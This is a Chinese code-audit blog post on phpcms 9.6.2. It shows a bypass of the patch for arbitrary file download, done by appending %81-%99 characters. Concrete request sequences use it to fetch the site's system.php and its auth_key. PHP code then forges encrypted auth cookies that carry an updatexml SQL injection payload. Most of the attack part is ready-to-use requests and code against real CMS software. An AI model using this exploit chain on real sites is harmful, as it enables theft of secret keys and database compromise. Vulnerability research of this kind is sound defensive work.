代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

时间:2024-05-23 20:21:45

0×00 背景

最近做代码审计的时候发现phpcms 有更新,现在漏洞详情基本不公开,想要知道漏洞的利用方法只能自己审计了,通常可进行新旧版本的代码比较了,来定位旧版本的漏洞位置,便下载了phpcms 9.6.3与phpcms 9.6.1 和phpcms 9.6.2的源码进行比较和审计,发现phpcms 9.6.2 中存在任意文件下载补丁绕过和前台SQL注入,便撰写了本文做个记录,期待和师傅们的各种交流和讨论。

0×01 任意文件下载补丁绕过

对比phpcms 9.6.2 版本与phpcms 9.6.1版本版本中针对任意文件下载漏洞的修复方法,发现仅是将检测的代码由原本的phpcms_9.6.1_UTF8\phpcms\modules\content\down.php109行修改为\phpcms_v9.6.2_UTF8\phpcms\modules\content\down.php的126行,虽然改为在下载前进行文件的黑名单检测,但是存在被绕过的风险。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

如下图所示,可以直接绕过正则,但是要使用什么字符进行绕过并且还能正常访问到相应PHP文件呢?这里可以使用一些空白字符来进行绕过。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

代码中虽然使用了trim去除前后的空白字符,但是trim是存在安全隐患的。

 代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件,如下图所示。

 代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

因此通过使用%81-%99间的字符来绕过补丁进行任意文件下载,需要构造好a_k的值,才能进行下载,利用代码分析就不在做了与之前的phpcms 9.6.1漏洞是一样的,如下是利用方法的操作步骤:

第一步:进行如下请求获得YDVIB_siteid的值。

请求:

[GET]http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=wap&c=index&a=init&siteid=1

获得:

[cookie]YDVIB_siteid:75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

第二步:在[POST DATA] 中的userid_flash参数的值设置为,第一步请求得到的YDVIB_siteid参数的值,并进行如下请求。

请求:

[GET] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%*25*3ep%2581%26modelid=1%26d=1&aid=1

[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

获得:

[cookie] YDVIB_att_json:ea6fUlmiupVPoK2udMAztI7dpqUURRW1plemEGmRhGPocAvwWbcMk3BARFHzxLI4NJrV1IJQ2PaHeec790iDdhRJ9dJbhEKamgM55SwKR-F3fFmmWDOVuHnyiWg9kyMzQ2l9D_cRPQmM7P9e7ZYrESNQwjMOytrFTIhY4SFmK2Vjc3GS3g

第三步:将GET请求中的a_k参数的值设置为第二步请求获得的YDVIB_att_json参数的值,并进行如下请求。

请求:

[get] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=init&a_k=41f4VsAhLvN8-4L1ntgSsuga4BrvYA5zcDo2bjiYB7RI98Qzj5D5k8dqqBfo7cUNwF3TGhz1SH-vPs3lIIQJYwHeF_u2b3QVfD2HIO3Gay68TAtz2rqYhX8XIeznWrTtOI24418KZUoTEAfnY4kZNtIajW-bqHRV1djqmEc1hSAwkIYWA9CPrw

获得:

http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

最后点击”点击下载”的按钮进行如下请求,便可以下载/caches/configs/system.php文件,得到里面的’auth_key’

http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

0×02 前台SQL注入

在phpcms\modules\member\classes\foreground.class.php文件中的第31-38行中list($userid, $password) = explode(“\t”, sys_auth($phpcms_auth, ‘DECODE’, $auth_key)); 解密得到的$userid的值,直接传入get_one操作数据库的方法中,造成SQL注入。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

要对此漏洞进行利用需要使用\phpcms\libs\functions\global.func.php中的sys_auth方法,\phpcms\libs\classes\param.class.php中的get_cookie方法,phpcms\libs\functions\global.func.php中的 get_auth_key方法对payload进行加解密分析。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

跟入get_cookie的方法在\phpcms\libs\classes\param.class.php的第107-116行中可以看到使用了sys_auth方法进行解密操作,且解密的是没有提供key的。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

跟入sys_auth方法在\phpcms\libs\functions\global.func.php中找到代码块,当没有指定$key的时候便使用/caches/configs/system.php文件里面的auth_key的值作为秘钥。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

跟入get_auth_key方法,在phpcms\libs\functions\global.func.php中找到代码块,当指定的$prefix==’login’时候会将/caches/configs/system.php文件里面的auth_key的值与客户端请求的IP拼接做MD5加密。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

 

分析完毕后得到大致流程:

解密操作:get_cookie(‘auth’) 得到$phpcms_auth,get_auth_key(‘login’)得到$auth_key,然后sys_auth($phpcms_auth, ‘DECODE’, $auth_key)。

再通俗些的话:sys_auth方法对cookie中包含auth的参数名对应的密文值,先使用配置文件中的auth_key进行sys_auth得到的值作为第一次解密后的值,然后使用配置文件中的auth_key的值与客户端请求的IP拼接做MD5加密的值做为新的key,第一次解密后的值与新的key最后传入sys_auth进行解密得到最终的明文。

反之加密方法便是:

使用配置文件中的auth_key的值与客户端请求的IP拼接做MD5加密的值做为新的key,使用新的key与明文进行sys_auth得到的值作为第一次加密的密文,然后使用配置文件中的auth_key作为key与第一次加密的密文传入sys_auth得到的值作为最终的密文,也就是cookie字段名称中包含auth的参数对应的值。

如下是将各个文件中的加密解密方法抓取出来稍作修改,在本地进行payload的加解密操作:

1.<?php

2.function sys_auth($string, $operation = ‘ENCODE’, $key = ”, $expiry = 0,$auth_key=’7G6idVtMAxhgFVu5vGp1′) {

3. $ckey_length = 4;

4. $key = md5($key != ” ? $key : $auth_key);

5. $keya = md5(substr($key, 0, 16));

6. $keyb = md5(substr($key, 16, 16));

7. $keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

8. $cryptkey = $keya.md5($keya.$keyc);

9. $key_length = strlen($cryptkey);

10.

11. $string = $operation == ‘DECODE’ ? base64_decode(strtr(substr($string, $ckey_length), ‘-_’, ‘+/’)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

12. $string_length = strlen($string);

13.

14. $result = ”;

15. $box = range(0, 255);

16.

17. $rndkey = array();

18. for($i = 0; $i <= 255; $i++) {

19. $rndkey[$i] = ord($cryptkey[$i % $key_length]);

20. }

21.

22. for($j = $i = 0; $i < 256; $i++) {

23. $j = ($j + $box[$i] + $rndkey[$i]) % 256;

24. $tmp = $box[$i];

25. $box[$i] = $box[$j];

26. $box[$j] = $tmp;

27. }

28.

29. for($a = $j = $i = 0; $i < $string_length; $i++) {

30. $a = ($a + 1) % 256;

31. $j = ($j + $box[$a]) % 256;

32. $tmp = $box[$a];

33. $box[$a] = $box[$j];

34. $box[$j] = $tmp;

35. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

36. }

37.

38. if($operation == ‘DECODE’) {

39. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

40. return substr($result, 26);

41. } else {

42.

43. return ”;

44. }

45. } else {

46. return $keyc.rtrim(strtr(base64_encode($result), ‘+/’, ‘-_’), ‘=’);

47. }

48.}

49.

50.function get_auth_key($prefix,$suffix=”",$ip=’127.0.0.1′,$auth_key=’7G6idVtMAxhgFVu5vGp1′) {

51. if($prefix==’login’){

52. $pc_auth_key = md5($auth_key.$ip);

53. }else if($prefix==’email’){

54. $pc_auth_key = md5($auth_key);

55. }else{

56. $pc_auth_key = md5($auth_key.$suffix);

57. }

58. $authkey = md5($prefix.$pc_auth_key);

59. return $authkey;

60.}

61.

62.//解密过程

63.//step 1

64.$encryption_str = ’6fc7TB1Y1nIRK5HunMc5HAUw5WkBLLuQGBiOISDhJM4d8N8WHHOvqMaUSyWrZdVdH046oGv_e_Ir6Q157UV-yT5Aksuc_h_4RfwZqsEwDHfQckv4SReOiYFxm083X7Tydcw-nUy8l3nP-ouUGl59sN4′;

65.$operation1 = ‘DECODE’;

66.$decryption_step1 = (sys_auth($encryption_str, $operation1));

67.echo ‘decryption_step1 result:’.$decryption_step1.”\n”;

68.

69.//step 2

70.$decryption_step2 = $decryption_step1;

71.$auth_key = get_auth_key(‘login’);

72.echo ‘decryption_step2 result:’.sys_auth($decryption_step2, ‘DECODE’, $auth_key).”\n”;

73.

74.echo ‘———————–’.”\n” ;

75.

76.

77.//加密过程

78.//step 1

79.$clear_str = “1′or updatexml(1,concat(0x7e,(select user()),0x7e),1) or ’1 f867fef04bd76d95abe01300951ca336″;

80.$operation2 = ‘ENCODE’;

81.$encryption_step1 = sys_auth($clear_str, ‘ENCODE’, $auth_key);

82.echo ‘encryption_step1 result:’.$encryption_step1.”\n”;

83.

84.//step 2

85.$encryption_step2 = (sys_auth($encryption_step1, $operation2));

86.echo ‘encryption_step2 result:’.$encryption_step2;

87.

使用上面的代码可以进行解密和加密,下图中decryption_step2 result的值便是对payload进行解密的最终结果,encryption_step2的值是对payload进行加密的最终结果。

 代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

最终利用的现象,cookie中的YDVIB_auth参数名称,前缀是安装时候生成的可能不一样,可以在配置文件中找到对应的值,可以先注册普通用户然后看服务端下发的cookie中字段名称中xxx_auth的参数名称,便是存在漏洞的位置。

 代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

0×03 总结

phpcms 9.6.2 版本的任意文件下载补丁可绕过,导致可下载配置文件,获得key,然后利用得到的key可以进行SQL注入,当然key还可以进行很多其他操作,本篇没有涉及,如果师傅们有好的示例或文章,期待一起交流。

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入